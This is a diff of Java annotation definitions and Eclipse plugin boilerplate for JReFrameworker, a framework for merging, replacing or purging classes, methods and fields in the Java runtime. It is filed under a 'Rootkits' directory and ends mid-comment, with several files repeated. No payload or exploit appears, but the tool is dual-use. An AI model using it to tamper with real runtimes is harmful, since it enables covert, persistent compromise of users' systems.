||||
@Repeatable(PurgeFields.class)
|
||||
public @interface PurgeField {
|
||||
String type();
|
||||
String field();
|
||||
}
|
@ -0,0 +1,17 @@
|
||||
package com.jreframeworker.annotations.fields;
|
||||
|
||||
import java.lang.annotation.ElementType;
|
||||
import java.lang.annotation.Retention;
|
||||
import java.lang.annotation.RetentionPolicy;
|
||||
import java.lang.annotation.Target;
|
||||
|
||||
// this annotation is valid for types
|
||||
@Target({ ElementType.TYPE })
|
||||
|
||||
// annotation will be recorded in the class file by the compiler,
|
||||
// but won't be retained by the VM at run time (invisible annotation)
|
||||
@Retention(RetentionPolicy.CLASS)
|
||||
|
||||
public @interface PurgeFields {
|
||||
PurgeField[] value();
|
||||
}
|
@ -0,0 +1,22 @@
|
||||
package com.jreframeworker.annotations.methods;
|
||||
|
||||
import java.lang.annotation.ElementType;
|
||||
import java.lang.annotation.Retention;
|
||||
import java.lang.annotation.RetentionPolicy;
|
||||
import java.lang.annotation.Target;
|
||||
|
||||
// this annotation is valid for methods
|
||||
@Target({ ElementType.METHOD })
|
||||
|
||||
// annotation will be recorded in the class file by the compiler,
|
||||
// but won't be retained by the VM at run time (invisible annotation)
|
||||
@Retention(RetentionPolicy.CLASS)
|
||||
|
||||
/**
|
||||
* Indicates the annotated method should be inserted into the base type
|
||||
* during a merge. If the base type already contains the method then
|
||||
* the base method will be replaced with the annotated method.
|
||||
*
|
||||
* @author Ben Holland
|
||||
*/
|
||||
public @interface DefineMethod {}
|
@ -0,0 +1,17 @@
|
||||
package com.jreframeworker.annotations.methods;
|
||||
|
||||
import java.lang.annotation.ElementType;
|
||||
import java.lang.annotation.Retention;
|
||||
import java.lang.annotation.RetentionPolicy;
|
||||
import java.lang.annotation.Target;
|
||||
|
||||
//this annotation is valid for types
|
||||
@Target({ ElementType.TYPE })
|
||||
|
||||
//annotation will be recorded in the class file by the compiler,
|
||||
//but won't be retained by the VM at run time (invisible annotation)
|
||||
@Retention(RetentionPolicy.CLASS)
|
||||
|
||||
public @interface DefineMethodFinalities {
|
||||
DefineMethodFinality[] value();
|
||||
}
|
@ -0,0 +1,35 @@
|
||||
package com.jreframeworker.annotations.methods;
|
||||
|
||||
import java.lang.annotation.ElementType;
|
||||
import java.lang.annotation.Repeatable;
|
||||
import java.lang.annotation.Retention;
|
||||
import java.lang.annotation.RetentionPolicy;
|
||||
import java.lang.annotation.Target;
|
||||
|
||||
// this annotation is valid for types
|
||||
@Target({ ElementType.TYPE })
|
||||
|
||||
// annotation will be recorded in the class file by the compiler,
|
||||
// but won't be retained by the VM at run time (invisible annotation)
|
||||
@Retention(RetentionPolicy.CLASS)
|
||||
|
||||
/**
|
||||
* Adds or removes the final modifier from a method
|
||||
*
|
||||
* "type" should be the qualified class name, if not defined the target will be
|
||||
* the super class of the class the annotation is placed on
|
||||
*
|
||||
* "method" should be the name of the method for which to set finality
|
||||
*
|
||||
* "finality" should be a boolean true to add or boolean false to remove the
|
||||
* final keyword
|
||||
*
|
||||
* @author Ben Holland
|
||||
*/
|
||||
@Repeatable(DefineMethodFinalities.class)
|
||||
public @interface DefineMethodFinality {
|
||||
int phase() default 1;
|
||||
String type();
|
||||
String method();
|
||||
boolean finality();
|
||||
}
|
@ -0,0 +1,17 @@
|
||||
package com.jreframeworker.annotations.methods;
|
||||
|
||||
import java.lang.annotation.ElementType;
|
||||
import java.lang.annotation.Retention;
|
||||
import java.lang.annotation.RetentionPolicy;
|
||||
import java.lang.annotation.Target;
|
||||
|
||||
//this annotation is valid for types
|
||||
@Target({ ElementType.TYPE })
|
||||
|
||||
//annotation will be recorded in the class file by the compiler,
|
||||
//but won't be retained by the VM at run time (invisible annotation)
|
||||
@Retention(RetentionPolicy.CLASS)
|
||||
|
||||
public @interface DefineMethodVisibilities {
|
||||
DefineMethodVisibility[] value();
|
||||
}
|
@ -0,0 +1,34 @@
|
||||
package com.jreframeworker.annotations.methods;
|
||||
|
||||
import java.lang.annotation.ElementType;
|
||||
import java.lang.annotation.Repeatable;
|
||||
import java.lang.annotation.Retention;
|
||||
import java.lang.annotation.RetentionPolicy;
|
||||
import java.lang.annotation.Target;
|
||||
|
||||
// this annotation is valid for types
|
||||
@Target({ ElementType.TYPE })
|
||||
|
||||
// annotation will be recorded in the class file by the compiler,
|
||||
// but won't be retained by the VM at run time (invisible annotation)
|
||||
@Retention(RetentionPolicy.CLASS)
|
||||
|
||||
/**
|
||||
* Sets the visibility of a method
|
||||
*
|
||||
* "type" should be the qualified class name if not defined the target will be
|
||||
* the super class of the class the annotation is placed on
|
||||
*
|
||||
* "method" should be the name of the method for which to set visibility
|
||||
*
|
||||
* "visibility" should be "public", "protected", or "private"
|
||||
*
|
||||
* @author Ben Holland
|
||||
*/
|
||||
@Repeatable(DefineMethodVisibilities.class)
|
||||
public @interface DefineMethodVisibility {
|
||||
int phase() default 1;
|
||||
String type();
|
||||
String method();
|
||||
String visibility();
|
||||
}
|
@ -0,0 +1,24 @@
|
||||
package com.jreframeworker.annotations.methods;
|
||||
|
||||
import java.lang.annotation.ElementType;
|
||||
import java.lang.annotation.Retention;
|
||||
import java.lang.annotation.RetentionPolicy;
|
||||
import java.lang.annotation.Target;
|
||||
|
||||
// this annotation is valid for methods
|
||||
@Target({ ElementType.METHOD })
|
||||
|
||||
// annotation will be recorded in the class file by the compiler,
|
||||
// but won't be retained by the VM at run time (invisible annotation)
|
||||
@Retention(RetentionPolicy.CLASS)
|
||||
|
||||
/**
|
||||
* Indicates the base method should be renamed and made private.
|
||||
* The annotated method will be inserted along the renamed base
|
||||
* method. Calls to the original base method will now point to
|
||||
* the annotated method. Super calls to the original base method
|
||||
* will be replaced with calls to the renamed base method.
|
||||
*
|
||||
* @author Ben Holland
|
||||
*/
|
||||
public @interface MergeMethod {}
|
@ -0,0 +1,24 @@
|
||||
package com.jreframeworker.annotations.methods;
|
||||
|
||||
import java.lang.annotation.ElementType;
|
||||
import java.lang.annotation.Retention;
|
||||
import java.lang.annotation.RetentionPolicy;
|
||||
import java.lang.annotation.Target;
|
||||
|
||||
// this annotation is valid for types
|
||||
@Target({ ElementType.TYPE })
|
||||
|
||||
// annotation will be recorded in the class file by the compiler,
|
||||
// but won't be retained by the VM at run time (invisible annotation)
|
||||
@Retention(RetentionPolicy.CLASS)
|
||||
|
||||
/**
|
||||
* Indicates the annotated method should be purged from the base type.
|
||||
*
|
||||
* @author Ben Holland
|
||||
*/
|
||||
public @interface PurgeMethod {
|
||||
int phase() default 1;
|
||||
String type() default "";
|
||||
String method() default "";
|
||||
}
|
@ -0,0 +1,17 @@
|
||||
package com.jreframeworker.annotations.methods;
|
||||
|
||||
import java.lang.annotation.ElementType;
|
||||
import java.lang.annotation.Retention;
|
||||
import java.lang.annotation.RetentionPolicy;
|
||||
import java.lang.annotation.Target;
|
||||
|
||||
//this annotation is valid for types
|
||||
@Target({ ElementType.TYPE })
|
||||
|
||||
//annotation will be recorded in the class file by the compiler,
|
||||
//but won't be retained by the VM at run time (invisible annotation)
|
||||
@Retention(RetentionPolicy.CLASS)
|
||||
|
||||
public @interface PurgeMethods {
|
||||
PurgeMethod[] value();
|
||||
}
|
@ -0,0 +1,24 @@
|
||||
package com.jreframeworker.annotations.types;
|
||||
|
||||
import java.lang.annotation.ElementType;
|
||||
import java.lang.annotation.Retention;
|
||||
import java.lang.annotation.RetentionPolicy;
|
||||
import java.lang.annotation.Target;
|
||||
|
||||
// this annotation is valid for types
|
||||
@Target({ ElementType.TYPE })
|
||||
|
||||
// annotation will be recorded in the class file by the compiler,
|
||||
// but won't be retained by the VM at run time (invisible annotation)
|
||||
@Retention(RetentionPolicy.CLASS)
|
||||
|
||||
/**
|
||||
* Indicates the annotated type (class, abstract class, interface) should be
|
||||
* inserted into the runtime. If the runtime type already exists it will be
|
||||
* replaced with the annotated type. Ignores all other JReFrameworker annotations.
|
||||
*
|
||||
* @author Ben Holland
|
||||
*/
|
||||
public @interface DefineType {
|
||||
int phase() default 1;
|
||||
}
|
@ -0,0 +1,17 @@
|
||||
package com.jreframeworker.annotations.types;
|
||||
|
||||
import java.lang.annotation.ElementType;
|
||||
import java.lang.annotation.Retention;
|
||||
import java.lang.annotation.RetentionPolicy;
|
||||
import java.lang.annotation.Target;
|
||||
|
||||
//this annotation is valid for types
|
||||
@Target({ ElementType.TYPE })
|
||||
|
||||
//annotation will be recorded in the class file by the compiler,
|
||||
//but won't be retained by the VM at run time (invisible annotation)
|
||||
@Retention(RetentionPolicy.CLASS)
|
||||
|
||||
public @interface DefineTypeFinalities {
|
||||
DefineTypeFinality[] value();
|
||||
}
|
@ -0,0 +1,32 @@
|
||||
package com.jreframeworker.annotations.types;
|
||||
|
||||
import java.lang.annotation.ElementType;
|
||||
import java.lang.annotation.Repeatable;
|
||||
import java.lang.annotation.Retention;
|
||||
import java.lang.annotation.RetentionPolicy;
|
||||
import java.lang.annotation.Target;
|
||||
|
||||
// this annotation is valid for types
|
||||
@Target({ ElementType.TYPE })
|
||||
|
||||
// annotation will be recorded in the class file by the compiler,
|
||||
// but won't be retained by the VM at run time (invisible annotation)
|
||||
@Retention(RetentionPolicy.CLASS)
|
||||
|
||||
/**
|
||||
* Adds or removes the final modifier from a type
|
||||
*
|
||||
* "type" should be the qualified class name, if not defined the target will be
|
||||
* the super class of the class the annotation is placed on
|
||||
*
|
||||
* "finality" should be a boolean true to add or boolean false to remove the
|
||||
* final keyword
|
||||
*
|
||||
* @author Ben Holland
|
||||
*/
|
||||
@Repeatable(DefineTypeFinalities.class)
|
||||
public @interface DefineTypeFinality {
|
||||
int phase() default 1;
|
||||
String type();
|
||||
boolean finality();
|
||||
}
|
@ -0,0 +1,17 @@
|
||||
package com.jreframeworker.annotations.types;
|
||||
|
||||
import java.lang.annotation.ElementType;
|
||||
import java.lang.annotation.Retention;
|
||||
import java.lang.annotation.RetentionPolicy;
|
||||
import java.lang.annotation.Target;
|
||||
|
||||
//this annotation is valid for types
|
||||
@Target({ ElementType.TYPE })
|
||||
|
||||
//annotation will be recorded in the class file by the compiler,
|
||||
//but won't be retained by the VM at run time (invisible annotation)
|
||||
@Retention(RetentionPolicy.CLASS)
|
||||
|
||||
public @interface DefineTypeVisibilities {
|
||||
DefineTypeVisibility[] value();
|
||||
}
|
@ -0,0 +1,31 @@
|
||||
package com.jreframeworker.annotations.types;
|
||||
|
||||
import java.lang.annotation.ElementType;
|
||||
import java.lang.annotation.Repeatable;
|
||||
import java.lang.annotation.Retention;
|
||||
import java.lang.annotation.RetentionPolicy;
|
||||
import java.lang.annotation.Target;
|
||||
|
||||
// this annotation is valid for types
|
||||
@Target({ ElementType.TYPE })
|
||||
|
||||
// annotation will be recorded in the class file by the compiler,
|
||||
// but won't be retained by the VM at run time (invisible annotation)
|
||||
@Retention(RetentionPolicy.CLASS)
|
||||
|
||||
/**
|
||||
* Sets the visibility of a type
|
||||
*
|
||||
* "type" should be the qualified class name, if not defined the target will be
|
||||
* the super class of the class the annotation is placed on
|
||||
*
|
||||
* "visibility" should be "public", "protected", or "private"
|
||||
*
|
||||
* @author Ben Holland
|
||||
*/
|
||||
@Repeatable(DefineTypeVisibilities.class)
|
||||
public @interface DefineTypeVisibility {
|
||||
int phase() default 1;
|
||||
String type();
|
||||
String visibility();
|
||||
}
|
@ -0,0 +1,29 @@
|
||||
package com.jreframeworker.annotations.types;
|
||||
|
||||
import java.lang.annotation.ElementType;
|
||||
import java.lang.annotation.Retention;
|
||||
import java.lang.annotation.RetentionPolicy;
|
||||
import java.lang.annotation.Target;
|
||||
|
||||
// this annotation is valid for types
|
||||
@Target({ ElementType.TYPE })
|
||||
|
||||
// annotation will be recorded in the class file by the compiler,
|
||||
// but won't be retained by the VM at run time (invisible annotation)
|
||||
@Retention(RetentionPolicy.CLASS)
|
||||
|
||||
/**
|
||||
* Indicates the annotated type (class, abstract class, interface) should be
|
||||
* inserted into the runtime. If the runtime type already exists it will be
|
||||
* replaced with the annotated type. Ignores all other JReFrameworker annotations.
|
||||
*
|
||||
* "supertype" forces merges into the specified qualified type
|
||||
* This option is useful for nasty edge case hacks...or forcing stubborn compiles to work.
|
||||
* Hopefully in the future this option can be removed
|
||||
*
|
||||
* @author Ben Holland
|
||||
*/
|
||||
public @interface MergeType {
|
||||
int phase() default 1;
|
||||
String supertype() default "";
|
||||
}
|
@ -0,0 +1,24 @@
|
||||
package com.jreframeworker.annotations.types;
|
||||
|
||||
import java.lang.annotation.ElementType;
|
||||
import java.lang.annotation.Retention;
|
||||
import java.lang.annotation.RetentionPolicy;
|
||||
import java.lang.annotation.Target;
|
||||
|
||||
// this annotation is valid for types
|
||||
@Target({ ElementType.TYPE })
|
||||
|
||||
// annotation will be recorded in the class file by the compiler,
|
||||
// but won't be retained by the VM at run time (invisible annotation)
|
||||
@Retention(RetentionPolicy.CLASS)
|
||||
|
||||
/**
|
||||
* Indicates the annotated type (class, abstract class, interface) should be
|
||||
* purged from the runtime. Ignores all other JReFrameworker annotations.
|
||||
*
|
||||
* @author Ben Holland
|
||||
*/
|
||||
public @interface PurgeType {
|
||||
int phase() default 1;
|
||||
String type();
|
||||
}
|
@ -0,0 +1,17 @@
|
||||
package com.jreframeworker.annotations.types;
|
||||
|
||||
import java.lang.annotation.ElementType;
|
||||
import java.lang.annotation.Retention;
|
||||
import java.lang.annotation.RetentionPolicy;
|
||||
import java.lang.annotation.Target;
|
||||
|
||||
//this annotation is valid for types
|
||||
@Target({ ElementType.TYPE })
|
||||
|
||||
//annotation will be recorded in the class file by the compiler,
|
||||
//but won't be retained by the VM at run time (invisible annotation)
|
||||
@Retention(RetentionPolicy.CLASS)
|
||||
|
||||
public @interface PurgeTypes {
|
||||
PurgeType[] value();
|
||||
}
|
7
Cross Platform/Rootkits/JReFrameworker/plugin/com.jreframeworker.annotations/.classpath
Normal file
@ -0,0 +1,7 @@
|
||||
<?xml version="1.0" encoding="UTF-8"?>
|
||||
<classpath>
|
||||
<classpathentry kind="con" path="org.eclipse.jdt.launching.JRE_CONTAINER/org.eclipse.jdt.internal.debug.ui.launcher.StandardVMType/JavaSE-1.8"/>
|
||||
<classpathentry kind="con" path="org.eclipse.pde.core.requiredPlugins"/>
|
||||
<classpathentry kind="src" path="src"/>
|
||||
<classpathentry kind="output" path="bin"/>
|
||||
</classpath>
|
1
Cross Platform/Rootkits/JReFrameworker/plugin/com.jreframeworker.annotations/.gitignore
vendored
Normal file
@ -0,0 +1 @@
|
||||
/bin/
|
28
Cross Platform/Rootkits/JReFrameworker/plugin/com.jreframeworker.annotations/.project
Normal file
@ -0,0 +1,28 @@
|
||||
<?xml version="1.0" encoding="UTF-8"?>
|
||||
<projectDescription>
|
||||
<name>com.jreframeworker.annotations</name>
|
||||
<comment></comment>
|
||||
<projects>
|
||||
</projects>
|
||||
<buildSpec>
|
||||
<buildCommand>
|
||||
<name>org.eclipse.jdt.core.javabuilder</name>
|
||||
<arguments>
|
||||
</arguments>
|
||||
</buildCommand>
|
||||
<buildCommand>
|
||||
<name>org.eclipse.pde.ManifestBuilder</name>
|
||||
<arguments>
|
||||
</arguments>
|
||||
</buildCommand>
|
||||
<buildCommand>
|
||||
<name>org.eclipse.pde.SchemaBuilder</name>
|
||||
<arguments>
|
||||
</arguments>
|
||||
</buildCommand>
|
||||
</buildSpec>
|
||||
<natures>
|
||||
<nature>org.eclipse.pde.PluginNature</nature>
|
||||
<nature>org.eclipse.jdt.core.javanature</nature>
|
||||
</natures>
|
||||
</projectDescription>
|
7
Cross Platform/Rootkits/JReFrameworker/plugin/com.jreframeworker.annotations/.settings/org.eclipse.jdt.core.prefs
Normal file
@ -0,0 +1,7 @@
|
||||
eclipse.preferences.version=1
|
||||
org.eclipse.jdt.core.compiler.codegen.inlineJsrBytecode=enabled
|
||||
org.eclipse.jdt.core.compiler.codegen.targetPlatform=1.8
|
||||
org.eclipse.jdt.core.compiler.compliance=1.8
|
||||
org.eclipse.jdt.core.compiler.problem.assertIdentifier=error
|
||||
org.eclipse.jdt.core.compiler.problem.enumIdentifier=error
|
||||
org.eclipse.jdt.core.compiler.source=1.8
|
16
Cross Platform/Rootkits/JReFrameworker/plugin/com.jreframeworker.annotations/META-INF/MANIFEST.MF
Normal file
@ -0,0 +1,16 @@
|
||||
Manifest-Version: 1.0
|
||||
Bundle-ManifestVersion: 2
|
||||
Bundle-Name: JReFrameworker Annotations
|
||||
Bundle-SymbolicName: com.jreframeworker.annotations;singleton:=true
|
||||
Bundle-Version: 1.3.1.qualifier
|
||||
Bundle-RequiredExecutionEnvironment: JavaSE-1.8
|
||||
Bundle-ActivationPolicy: lazy
|
||||
Require-Bundle: org.eclipse.ui,
|
||||
org.eclipse.ui.ide,
|
||||
org.eclipse.core.runtime,
|
||||
org.eclipse.core.resources
|
||||
Bundle-Activator: com.jreframeworker.annotations.Activator
|
||||
Export-Package: com.jreframeworker.annotations.fields,
|
||||
com.jreframeworker.annotations.methods,
|
||||
com.jreframeworker.annotations.types
|
||||
Automatic-Module-Name: com.jreframeworker.annotations
|
4
Cross Platform/Rootkits/JReFrameworker/plugin/com.jreframeworker.annotations/build.properties
Normal file
@ -0,0 +1,4 @@
|
||||
source.. = src/
|
||||
output.. = bin/
|
||||
bin.includes = META-INF/,\
|
||||
.
|
50
Cross Platform/Rootkits/JReFrameworker/plugin/com.jreframeworker.annotations/src/com/jreframeworker/annotations/Activator.java
Normal file
@ -0,0 +1,50 @@
|
||||
package com.jreframeworker.annotations;
|
||||
|
||||
import org.eclipse.ui.plugin.AbstractUIPlugin;
|
||||
import org.osgi.framework.BundleContext;
|
||||
|
||||
/**
|
||||
* The activator class controls the plug-in life cycle
|
||||
*/
|
||||
public class Activator extends AbstractUIPlugin {
|
||||
|
||||
// The plug-in ID
|
||||
public static final String PLUGIN_ID = "com.jreframeworker.annotations"; //$NON-NLS-1$
|
||||
|
||||
// The shared instance
|
||||
private static Activator plugin;
|
||||
|
||||
/**
|
||||
* The constructor
|
||||
*/
|
||||
public Activator() {
|
||||
}
|
||||
|
||||
/*
|
||||
* (non-Javadoc)
|
||||
* @see org.eclipse.ui.plugin.AbstractUIPlugin#start(org.osgi.framework.BundleContext)
|
||||
*/
|
||||
public void start(BundleContext context) throws Exception {
|
||||
super.start(context);
|
||||
plugin = this;
|
||||
}
|
||||
|
||||
/*
|
||||
* (non-Javadoc)
|
||||
* @see org.eclipse.ui.plugin.AbstractUIPlugin#stop(org.osgi.framework.BundleContext)
|
||||
*/
|
||||
public void stop(BundleContext context) throws Exception {
|
||||
plugin = null;
|
||||
super.stop(context);
|
||||
}
|
||||
|
||||
/**
|
||||
* Returns the shared instance
|
||||
*
|
||||
* @return the shared instance
|
||||
*/
|
||||
public static Activator getDefault() {
|
||||
return plugin;
|
||||
}
|
||||
|
||||
}
|
22
Cross Platform/Rootkits/JReFrameworker/plugin/com.jreframeworker.annotations/src/com/jreframeworker/annotations/fields/DefineField.java
Normal file
@ -0,0 +1,22 @@
|
||||
package com.jreframeworker.annotations.fields;
|
||||
|
||||
import java.lang.annotation.ElementType;
|
||||
import java.lang.annotation.Retention;
|
||||
import java.lang.annotation.RetentionPolicy;
|
||||
import java.lang.annotation.Target;
|
||||
|
||||
// this annotation is valid for methods
|
||||
@Target({ ElementType.FIELD })
|
||||
|
||||
// annotation will be recorded in the class file by the compiler,
|
||||
// but won't be retained by the VM at run time (invisible annotation)
|
||||
@Retention(RetentionPolicy.CLASS)
|
||||
|
||||
/**
|
||||
* Indicates the annotated field should be inserted into the base
|
||||
* class during a merge. If the field already exists, the field
|
||||
* will be replaced with the annotated field.
|
||||
*
|
||||
* @author Ben Holland
|
||||
*/
|
||||
public @interface DefineField {}
|
@ -0,0 +1,17 @@
|
||||
package com.jreframeworker.annotations.fields;
|
||||
|
||||
import java.lang.annotation.ElementType;
|
||||
import java.lang.annotation.Retention;
|
||||
import java.lang.annotation.RetentionPolicy;
|
||||
import java.lang.annotation.Target;
|
||||
|
||||
// this annotation is valid for types
|
||||
@Target({ ElementType.TYPE })
|
||||
|
||||
// annotation will be recorded in the class file by the compiler,
|
||||
// but won't be retained by the VM at run time (invisible annotation)
|
||||
@Retention(RetentionPolicy.CLASS)
|
||||
|
||||
public @interface DefineFieldFinalities {
|
||||
DefineFieldFinality[] value();
|
||||
}
|
@ -0,0 +1,35 @@
|
||||
package com.jreframeworker.annotations.fields;
|
||||
|
||||
import java.lang.annotation.ElementType;
|
||||
import java.lang.annotation.Repeatable;
|
||||
import java.lang.annotation.Retention;
|
||||
import java.lang.annotation.RetentionPolicy;
|
||||
import java.lang.annotation.Target;
|
||||
|
||||
// this annotation is valid for types
|
||||
@Target({ ElementType.TYPE })
|
||||
|
||||
// annotation will be recorded in the class file by the compiler,
|
||||
// but won't be retained by the VM at run time (invisible annotation)
|
||||
@Retention(RetentionPolicy.CLASS)
|
||||
|
||||
/**
|
||||
* Adds or removes the final modifier from a field
|
||||
*
|
||||
* "type" should be the qualified class name if not defined the target will be
|
||||
* the super class of the class the annotation is placed on
|
||||
*
|
||||
* "field" should be the name of the field for which to set visibility
|
||||
*
|
||||
* "finality" should be a boolean true to add or boolean false to remove the
|
||||
* final keyword
|
||||
*
|
||||
* @author Ben Holland
|
||||
*/
|
||||
@Repeatable(DefineFieldFinalities.class)
|
||||
public @interface DefineFieldFinality {
|
||||
int phase() default 1;
|
||||
String type();
|
||||
String field();
|
||||
boolean finality();
|
||||
}
|
@ -0,0 +1,17 @@
|
||||
package com.jreframeworker.annotations.fields;
|
||||
|
||||
import java.lang.annotation.ElementType;
|
||||
import java.lang.annotation.Retention;
|
||||
import java.lang.annotation.RetentionPolicy;
|
||||
import java.lang.annotation.Target;
|
||||
|
||||
// this annotation is valid for types
|
||||
@Target({ ElementType.TYPE })
|
||||
|
||||
// annotation will be recorded in the class file by the compiler,
|
||||
// but won't be retained by the VM at run time (invisible annotation)
|
||||
@Retention(RetentionPolicy.CLASS)
|
||||
|
||||
public @interface DefineFieldVisibilities {
|
||||
DefineFieldVisibility[] value();
|
||||
}
|
@ -0,0 +1,34 @@
|
||||
package com.jreframeworker.annotations.fields;
|
||||
|
||||
import java.lang.annotation.ElementType;
|
||||
import java.lang.annotation.Repeatable;
|
||||
import java.lang.annotation.Retention;
|
||||
import java.lang.annotation.RetentionPolicy;
|
||||
import java.lang.annotation.Target;
|
||||
|
||||
// this annotation is valid for types
|
||||
@Target({ ElementType.TYPE })
|
||||
|
||||
// annotation will be recorded in the class file by the compiler,
|
||||
// but won't be retained by the VM at run time (invisible annotation)
|
||||
@Retention(RetentionPolicy.CLASS)
|
||||
|
||||
/**
|
||||
* Sets the visibility of a field
|
||||
*
|
||||
* "type" should be the qualified class name if not defined the target will be
|
||||
* the super class of the class the annotation is placed on
|
||||
*
|
||||
* "field" should be the name of the field for which to set visibility
|
||||
*
|
||||
* "visibility" should be "public", "protected", or "private"
|
||||
*
|
||||
* @author Ben Holland
|
||||
*/
|
||||
@Repeatable(DefineFieldVisibilities.class)
|
||||
public @interface DefineFieldVisibility {
|
||||
int phase() default 1;
|
||||
String type();
|
||||
String field();
|
||||
String visibility();
|
||||
}
|
25
Cross Platform/Rootkits/JReFrameworker/plugin/com.jreframeworker.annotations/src/com/jreframeworker/annotations/fields/PurgeField.java
Normal file
@ -0,0 +1,25 @@
|
||||
package com.jreframeworker.annotations.fields;
|
||||
|
||||
import java.lang.annotation.ElementType;
|
||||
import java.lang.annotation.Repeatable;
|
||||
import java.lang.annotation.Retention;
|
||||
import java.lang.annotation.RetentionPolicy;
|
||||
import java.lang.annotation.Target;
|
||||
|
||||
// this annotation is valid for methods
|
||||
@Target({ ElementType.TYPE })
|
||||
|
||||
// annotation will be recorded in the class file by the compiler,
|
||||
// but won't be retained by the VM at run time (invisible annotation)
|
||||
@Retention(RetentionPolicy.CLASS)
|
||||
|
||||
/**
|
||||
* Indicates the annotated field should be purged from the base class.
|
||||
*
|
||||
* @author Ben Holland
|
||||
*/
|
||||
@Repeatable(PurgeFields.class)
|
||||
public @interface PurgeField {
|
||||
String type();
|
||||
String field();
|
||||
}
|
17
Cross Platform/Rootkits/JReFrameworker/plugin/com.jreframeworker.annotations/src/com/jreframeworker/annotations/fields/PurgeFields.java
Normal file
@ -0,0 +1,17 @@
|
||||
package com.jreframeworker.annotations.fields;
|
||||
|
||||
import java.lang.annotation.ElementType;
|
||||
import java.lang.annotation.Retention;
|
||||
import java.lang.annotation.RetentionPolicy;
|
||||
import java.lang.annotation.Target;
|
||||
|
||||
// this annotation is valid for types
|
||||
@Target({ ElementType.TYPE })
|
||||
|
||||
// annotation will be recorded in the class file by the compiler,
|
||||
// but won't be retained by the VM at run time (invisible annotation)
|
||||
@Retention(RetentionPolicy.CLASS)
|
||||
|
||||
public @interface PurgeFields {
|
||||
PurgeField[] value();
|
||||
}
|
@ -0,0 +1,22 @@
|
||||
package com.jreframeworker.annotations.methods;
|
||||
|
||||
import java.lang.annotation.ElementType;
|
||||
import java.lang.annotation.Retention;
|
||||
import java.lang.annotation.RetentionPolicy;
|
||||
import java.lang.annotation.Target;
|
||||
|
||||
// this annotation is valid for methods
|
||||
@Target({ ElementType.METHOD })
|
||||
|
||||
// annotation will be recorded in the class file by the compiler,
|
||||
// but won't be retained by the VM at run time (invisible annotation)
|
||||
@Retention(RetentionPolicy.CLASS)
|
||||
|
||||
/**
|
||||
* Indicates the annotated method should be inserted into the base type
|
||||
* during a merge. If the base type already contains the method then
|
||||
* the base method will be replaced with the annotated method.
|
||||
*
|
||||
* @author Ben Holland
|
||||
*/
|
||||
public @interface DefineMethod {}
|
@ -0,0 +1,17 @@
|
||||
package com.jreframeworker.annotations.methods;
|
||||
|
||||
import java.lang.annotation.ElementType;
|
||||
import java.lang.annotation.Retention;
|
||||
import java.lang.annotation.RetentionPolicy;
|
||||
import java.lang.annotation.Target;
|
||||
|
||||
//this annotation is valid for types
|
||||
@Target({ ElementType.TYPE })
|
||||
|
||||
//annotation will be recorded in the class file by the compiler,
|
||||
//but won't be retained by the VM at run time (invisible annotation)
|
||||
@Retention(RetentionPolicy.CLASS)
|
||||
|
||||
public @interface DefineMethodFinalities {
|
||||
DefineMethodFinality[] value();
|
||||
}
|
@ -0,0 +1,35 @@
|
||||
package com.jreframeworker.annotations.methods;
|
||||
|
||||
import java.lang.annotation.ElementType;
|
||||
import java.lang.annotation.Repeatable;
|
||||
import java.lang.annotation.Retention;
|
||||
import java.lang.annotation.RetentionPolicy;
|
||||
import java.lang.annotation.Target;
|
||||
|
||||
// this annotation is valid for types
|
||||
@Target({ ElementType.TYPE })
|
||||
|
||||
// annotation will be recorded in the class file by the compiler,
|
||||
// but won't be retained by the VM at run time (invisible annotation)
|
||||
@Retention(RetentionPolicy.CLASS)
|
||||
|
||||
/**
|
||||
* Adds or removes the final modifier from a method
|
||||
*
|
||||
* "type" should be the qualified class name, if not defined the target will be
|
||||
* the super class of the class the annotation is placed on
|
||||
*
|
||||
* "method" should be the name of the method for which to set finality
|
||||
*
|
||||
* "finality" should be a boolean true to add or boolean false to remove the
|
||||
* final keyword
|
||||
*
|
||||
* @author Ben Holland
|
||||
*/
|
||||
@Repeatable(DefineMethodFinalities.class)
|
||||
public @interface DefineMethodFinality {
|
||||
int phase() default 1;
|
||||
String type();
|
||||
String method();
|
||||
boolean finality();
|
||||
}
|
@ -0,0 +1,17 @@
|
||||
package com.jreframeworker.annotations.methods;
|
||||
|
||||
import java.lang.annotation.ElementType;
|
||||
import java.lang.annotation.Retention;
|
||||
import java.lang.annotation.RetentionPolicy;
|
||||
import java.lang.annotation.Target;
|
||||
|
||||
//this annotation is valid for types
|
||||
@Target({ ElementType.TYPE })
|
||||
|
||||
//annotation will be recorded in the class file by the compiler,
|
||||
//but won't be retained by the VM at run time (invisible annotation)
|
||||
@Retention(RetentionPolicy.CLASS)
|
||||
|
||||
public @interface DefineMethodVisibilities {
|
||||
DefineMethodVisibility[] value();
|
||||
}
|
@ -0,0 +1,34 @@
|
||||
package com.jreframeworker.annotations.methods;
|
||||
|
||||
import java.lang.annotation.ElementType;
|
||||
import java.lang.annotation.Repeatable;
|
||||
import java.lang.annotation.Retention;
|
||||
import java.lang.annotation.RetentionPolicy;
|
||||
import java.lang.annotation.Target;
|
||||
|
||||
// this annotation is valid for types
|
||||
@Target({ ElementType.TYPE })
|
||||
|
||||
// annotation will be recorded in the class file by the compiler,
|
||||
// but won't be retained by the VM at run time (invisible annotation)
|
||||
@Retention(RetentionPolicy.CLASS)
|
||||
|
||||
/**
|
||||
* Sets the visibility of a method
|
||||
*
|
||||
* "type" should be the qualified class name if not defined the target will be
|
||||
* the super class of the class the annotation is placed on
|
||||
*
|
||||
* "method" should be the name of the method for which to set visibility
|
||||
*
|
||||
* "visibility" should be "public", "protected", or "private"
|
||||
*
|
||||
* @author Ben Holland
|
||||
*/
|
||||
@Repeatable(DefineMethodVisibilities.class)
|
||||
public @interface DefineMethodVisibility {
|
||||
int phase() default 1;
|
||||
String type();
|
||||
String method();
|
||||
String visibility();
|
||||
}
|
@ -0,0 +1,24 @@
|
||||
package com.jreframeworker.annotations.methods;
|
||||
|
||||
import java.lang.annotation.ElementType;
|
||||
import java.lang.annotation.Retention;
|
||||
import java.lang.annotation.RetentionPolicy;
|
||||
import java.lang.annotation.Target;
|
||||
|
||||
// this annotation is valid for methods
|
||||
@Target({ ElementType.METHOD })
|
||||
|
||||
// annotation will be recorded in the class file by the compiler,
|
||||
// but won't be retained by the VM at run time (invisible annotation)
|
||||
@Retention(RetentionPolicy.CLASS)
|
||||
|
||||
/**
|
||||
* Indicates the base method should be renamed and made private.
|
||||
* The annotated method will be inserted along the renamed base
|
||||
* method. Calls to the original base method will now point to
|
||||
* the annotated method. Super calls to the original base method
|
||||
